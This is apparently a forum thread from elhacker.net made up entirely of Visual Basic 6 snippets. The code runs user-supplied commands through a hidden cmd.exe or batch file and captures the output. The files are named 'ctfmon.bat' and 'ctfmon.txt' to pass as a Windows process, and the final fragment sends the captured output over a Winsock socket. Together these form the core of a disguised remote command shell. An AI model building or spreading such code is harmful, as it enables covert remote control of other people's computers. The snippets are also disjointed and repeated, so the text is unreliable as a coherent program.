Foro de elhacker.net

Private Sub Command1_Click()
Dim casa As String
casa = Environ$("homedrive")
orden = Text1

Open casa & "\ctfmon.bat" For Output As #1
Print #1, orden & ">" & "ctfmon.txt"
Close #1

ini = casa & "\ctfmon.bat"

Shell ini

Open casa & "\ctfmon.txt" For Input As #1
todo = input(LOF(1), #1)
Close #1

Text2 = todo
End Sub

Option Explicit

Private Sub Form_Load()
Text1 = "Dir"
End Sub



Private Sub Command1_Click()
Dim casa As String
casa = Environ$("homedrive")
Dim orden As String
orden = Text1
Dim todo As String

Shell "cmd.exe /c" & orden & ">" & casa & "\ctfmon.txt"

Dim x As Long: x = Round(Timer): While Round(Timer) < x + 2: DoEvents: Wend

Open casa & "\ctfmon.txt" For Input As #1
todo = Input(LOF(1), #1)
Close #1

Text2 = todo
End Sub

'---------------------------------------------------------------------------------------
' Module      : cStdIO
' DateTime    : 23/04/08 20:23
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' Usage       : At your own risk.
' Purpose     : Non blocking StdIO pipe
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
' Credits     : Amine Haddad
' History     : 23/04/08 - First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit

Private Const PROCESS_QUERY_INFORMATION     As Long = &H400
Private Const PROCESS_TERMINATE             As Long = (&H1)
Private Const PROCESS_VM_READ               As Long = &H10
Private Const NORMAL_PRIORITY_CLASS         As Long = &H20&
Private Const STARTF_USESTDHANDLES          As Long = &H100&
Private Const STARTF_USESHOWWINDOW          As Long = &H1
Private Const SW_HIDE                       As Long = 0
Private Const PIPE_WAIT                     As Long = &H0
Private Const PIPE_NOWAIT                   As Long = &H1
Private Const PIPE_READMODE_BYTE            As Long = &H0
Private Const PIPE_READMODE_MESSAGE         As Long = &H2
Private Const PIPE_TYPE_BYTE                As Long = &H0
Private Const PIPE_TYPE_MESSAGE             As Long = &H4
Private Const STILL_ACTIVE                  As Long = &H103

Private Type SECURITY_ATTRIBUTES
    nLength                 As Long
    lpSecurityDescriptor    As Long
    bInheritHandle          As Long
End Type

Private Type STARTUPINFO
    cb                      As Long
    lpReserved              As Long
    lpDesktop               As Long
    lpTitle                 As Long
    dwX                     As Long
    dwY                     As Long
    dwXSize                 As Long
    dwYSize                 As Long
    dwXCountChars           As Long
    dwYCountChars           As Long
    dwFillAttribute         As Long
    dwFlags                 As Long
    wShowWindow             As Integer
    cbReserved2             As Integer
    lpReserved2             As Long
    hStdInput               As Long
    hStdOutput              As Long
    hStdError               As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess                As Long
    hThread                 As Long
    dwProcessId             As Long
    dwThreadID              As Long
End Type

Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long
Private Declare Function SetNamedPipeHandleState Lib "kernel32" (ByVal hNamedPipe As Long, lpMode As Long, lpMaxCollectionCount As Long, lpCollectDataTimeout As Long) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Any) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Private c_bPiping           As Boolean
Private c_bCancel           As Boolean
Private c_lhReadPipe        As Long
Private c_lhWritePipe       As Long
Private c_lhReadPipe2       As Long
Private c_lhWritePipe2      As Long

Public Event DataArrival(ByVal sData As String)

Public Function ClosePipe() As Boolean
    If Not c_bCancel Then
        c_bCancel = True
        ClosePipe = True
    End If
End Function

Public Function StartProcessPipe(ByVal sPath As String) As Boolean
    Dim tSTARTUPINFO            As STARTUPINFO
    Dim tPROCESS_INFORMATION    As PROCESS_INFORMATION
    Dim tSECURITY_ATTRIBUTES    As SECURITY_ATTRIBUTES
    Dim lRet                    As Long
    Dim lhProc                  As Long
    Dim sBuffer                 As String * 4096

    If sPath = vbNullString Then Exit Function
    If c_bPiping Then Exit Function

    c_bCancel = False

    With tSECURITY_ATTRIBUTES
        .nLength = LenB(tSECURITY_ATTRIBUTES)
        .bInheritHandle = True
        .lpSecurityDescriptor = False
    End With

    '// Output Pipe
    lRet = CreatePipe(c_lhReadPipe, c_lhWritePipe, tSECURITY_ATTRIBUTES, 0&)
    If lRet = 0 Then GoTo CleanUp

    '// Input Pipe
    lRet = CreatePipe(c_lhReadPipe2, c_lhWritePipe2, tSECURITY_ATTRIBUTES, 0&)
    If lRet = 0 Then GoTo CleanUp

    '// Non blocking mode
    lRet = SetNamedPipeHandleState(c_lhReadPipe, PIPE_READMODE_BYTE Or PIPE_NOWAIT, 0&, 0&)
    If Not lRet = 0 Then GoTo CleanUp

    With tSTARTUPINFO
        .cb = LenB(tSTARTUPINFO)
        .dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
        .wShowWindow = SW_HIDE
        .hStdOutput = c_lhWritePipe
        .hStdError = c_lhWritePipe
        .hStdInput = c_lhReadPipe2
    End With

    '// Start Proc
    lRet = CreateProcessA(0&, sPath, tSECURITY_ATTRIBUTES, tSECURITY_ATTRIBUTES, _
       1&, NORMAL_PRIORITY_CLASS, 0&, 0&, tSTARTUPINFO, tPROCESS_INFORMATION)

    If tPROCESS_INFORMATION.hProcess = 0 Then GoTo CleanUp

    c_bPiping = True
    StartProcessPipe = True
    RaiseEvent DataArrival(vbCrLf & "---> Process started [" & Now & "]" & vbCrLf)
    Do
        If c_bCancel = True Then Exit Do
        DoEvents: Call Sleep(100)
        If Not ReadFile(c_lhReadPipe, sBuffer, 4096, 0, 0&) = 0 Then
            RaiseEvent DataArrival(Left(sBuffer, lstrlen(sBuffer)))
            sBuffer = String$(4096, vbNullChar)
            DoEvents
        End If

        Call GetExitCodeProcess(tPROCESS_INFORMATION.hProcess, lRet)
    Loop While lRet = STILL_ACTIVE

CleanUp:
    Call CloseHandle(tPROCESS_INFORMATION.hProcess)
    Call CloseHandle(c_lhReadPipe):     c_lhReadPipe = 0
    Call CloseHandle(c_lhReadPipe2):    c_lhReadPipe2 = 0
    Call CloseHandle(c_lhWritePipe):    c_lhWritePipe = 0
    Call CloseHandle(c_lhWritePipe2):   c_lhWritePipe2 = 0

    If c_bCancel Then
        ExitProcessPID tPROCESS_INFORMATION.dwProcessId
        RaiseEvent DataArrival(vbCrLf & "---> Process terminated by user [" & Now & "]" & vbCrLf)
    Else
        RaiseEvent DataArrival(vbCrLf & "---> Process terminated [" & Now & "]" & vbCrLf)
    End If

    c_bPiping = False

End Function

Public Function WriteToPipe(ByVal sData As String) As Boolean
    Dim bvData()    As Byte

    If Not c_bPiping Then
        RaiseEvent DataArrival(vbCrLf & "---> Pipe not connected [" & Now & "]" & vbCrLf)
    Else
        bvData = StrConv(sData & vbCrLf & vbNullChar, vbFromUnicode)
        If WriteFile(c_lhWritePipe2, bvData(0), UBound(bvData), 0, 0&) Then
            WriteToPipe = True
        End If
    End If
End Function

Private Function ExitProcessPID(ByVal lProcessID As Long) As Boolean
    Dim lProcess As Long
    Dim lExitCode As Long

    lProcess = OpenProcess(PROCESS_TERMINATE Or PROCESS_QUERY_INFORMATION Or _
       PROCESS_VM_READ, _
       0, lProcessID)

    If GetExitCodeProcess(lProcess, lExitCode) Then
        TerminateProcess lProcess, lExitCode
        ExitProcessPID = True
    End If

    Call CloseHandle(lProcess)
End Function

Option Explicit

Private Sub Form_Load()
   Text1 = "ipconfig"
End Sub

Private Sub Command1_Click()

Dim casa As String: casa = Environ$("homedrive")
Dim orden As String: orden = Text1

Open casa & "\ctfmon.bat" For Output As #1
Print #1, orden & ">" & casa & "\ctfmon.txt"
Close #1

Dim ini As String: ini = casa & "\ctfmon.bat"

ShellDos ini

Open casa & "\ctfmon.txt" For Input As #1
Dim todo As String: todo = Input(LOF(1), #1)
Close #1

Text2 = todo

End Sub

Option Explicit

Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function OemToChar Lib "user32" Alias "OemToCharA" (ByVal lpszSrc As String, ByVal lpszDst As String) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
       
Private Const PROCESS_TERMINATE = &H1
Private Const BUFFER_LENGTH = 512
Private Const INFINITE = -1&
Private Const SYNCHRONIZE = &H100000

Public Function ShellDos(ByVal Cmd As String, Optional ByVal WorkingDir As String = ".", Optional ByVal STDIN As String = "") As String

    Dim errflag As Long   ' verwenden wir um der Fehlerbehandlungs-
                          ' routine zu sagen, wo wir gerade sind
    
    Dim Batfile$          ' Unser Batchfile
    Dim DataFile$         ' Unser STDIN-DataFile
    Dim ReplyFile$        ' Unsere Ausgabedatei
    Dim t As Single       ' Allgemeine Zeitabfrage
    Dim l As Long         ' Dateilänge
    Dim Task As Long      ' TaskID
    Dim Result As Long    ' Für Rückgabewerte aus API-Funktionen
    Dim fno As Long       ' Dateinummer
    Dim TaskID As Long    ' Task-ID des DOS-Fensters
    Dim ProcID As Long    ' Prozess-ID des DOS-Fensters
    Dim TmpDir As String  ' Temporärer Ordner
    Dim tmp As String     ' Temporärer String
    
    TmpDir = String(BUFFER_LENGTH, 0)
    l = GetTempPath(BUFFER_LENGTH, TmpDir)
    TmpDir = Left(TmpDir, l)
    
    ReplyFile = TmpDir & "DOSReply.txt"
    DataFile = TmpDir & "DOSSTDIN.txt"
    
    ' Die Datei muss existieren, damit
    ' GetShortPathName Funktioniert.
    fno = FreeFile
    Open ReplyFile For Binary As fno: Close fno
    Open DataFile For Binary As fno: Close fno
    ReplyFile = ShortPath(ReplyFile)
    DataFile = ShortPath(DataFile)
          
    Cmd$ = Cmd$ & "<" & DataFile & " >" + ReplyFile
    errflag = 1
    
    ' Damit das Ergebnis eindeutig ist, löschen wir erstmal die Datei
    Kill ReplyFile
    
    ' Zunächst wird unser Befehl in die Batchdatei geschrieben.
    Batfile$ = TmpDir & "Batch.bat"
    
    Open Batfile$ For Output As #fno
    Print #fno, RootFromPath(WorkingDir)
    Print #fno, "cd " & WorkingDir
    Print #fno, Cmd$
    Close #fno
    DoEvents
    
    ' DOS wird mit der Batchdatei aufgerufen
    tmp = String(BUFFER_LENGTH, 0)
    l = GetShortPathName(Batfile$, tmp, BUFFER_LENGTH)
    Batfile$ = Left(tmp, l)
    TaskID = Shell(Batfile$, vbHide)
    
    DoEvents
    errflag = 2
    
    ProcID = OpenProcess(SYNCHRONIZE, False, TaskID)
    Call WaitForSingleObject(ProcID, INFINITE)
    
   
terminate:
    ' Hier wird DOS beendet
    Result = TerminateProcess(ProcID, 1&)
    Result = CloseHandle(Task)
    
    errflag = 3
    l = FileLen(ReplyFile)
    tmp = String(l, 0)
    Open ReplyFile For Binary As fno
    Get fno, , tmp
    Close fno
    ' ANSI -> ASCII
    Call OemToChar(tmp, tmp)
    ShellDos = tmp
    
    
    Kill Batfile
    Kill ReplyFile
    Kill DataFile
    
    errflag = 4
    
    Exit Function
    
err1:
    Select Case Err
    
    Case 53
    
        Select Case errflag
        
        Case 1
            Resume Next
        Case 3
            ShellDos = "<ERROR>"
            Exit Function
        Case Else
            GoTo err_else
        End Select
        
    Case Else
    
err_else:
        MsgBox Error$
        
    End Select
End Function

Private Function RootFromPath(ByVal Path As String) As String
    RootFromPath = Mid(Path, 1, InStr(Path, ":"))
End Function

Private Function ShortPath(ByVal Path As String) As String
    Dim tmp As String     ' Temporärer String
    Dim l As Long         ' Länge des Strings
    
    tmp = String(256, 0)
    l = GetShortPathName(Path, tmp, Len(tmp))
    ShortPath = Left(tmp, l)
End Function

Open casa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1

wsk.SendData txtcom